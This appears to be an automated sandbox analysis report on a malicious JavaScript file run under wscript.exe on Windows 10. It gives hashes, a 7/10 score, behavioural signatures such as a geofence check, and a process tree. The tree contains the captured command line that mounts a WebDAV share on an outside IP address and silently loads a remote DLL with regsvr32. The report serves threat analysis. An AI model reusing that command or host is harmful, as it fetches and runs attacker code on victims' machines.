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Analysis

  • max time kernel
    140s
  • max time network
    138s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/07/2024, 06:31

General

  • Target

    8922183592147230227.js

  • Size

    4KB

  • MD5

    b62a39aa7ae85dbd5e953b6dca907173

  • SHA1

    5dd741972248447b299d4d26fcf90664a2a85834

  • SHA256

    cc717503432b1c22338f196d954c995390fed14e3aab0cab844cfe0b4ca93d9a

  • SHA512

    2baf0f096fcc3210c76d51e1fd339fcba43bdd6ed8b1e013a0e225bc2dcd1fab35194714af1850603cf433331221710da8ad5fe1e83637e439e45cdb028f6a32

  • SSDEEP

    48:RSNAP0/GTOpaTUtDStoXR8TJB8oslIgxMTJBPXaq0Up8R///IZ7TMTMTjAkrzMQc:6A8ekpt2t25o1OPqumzAkrVmzj

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\8922183592147230227.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4880
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\92451529317231.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:396
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:4792

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads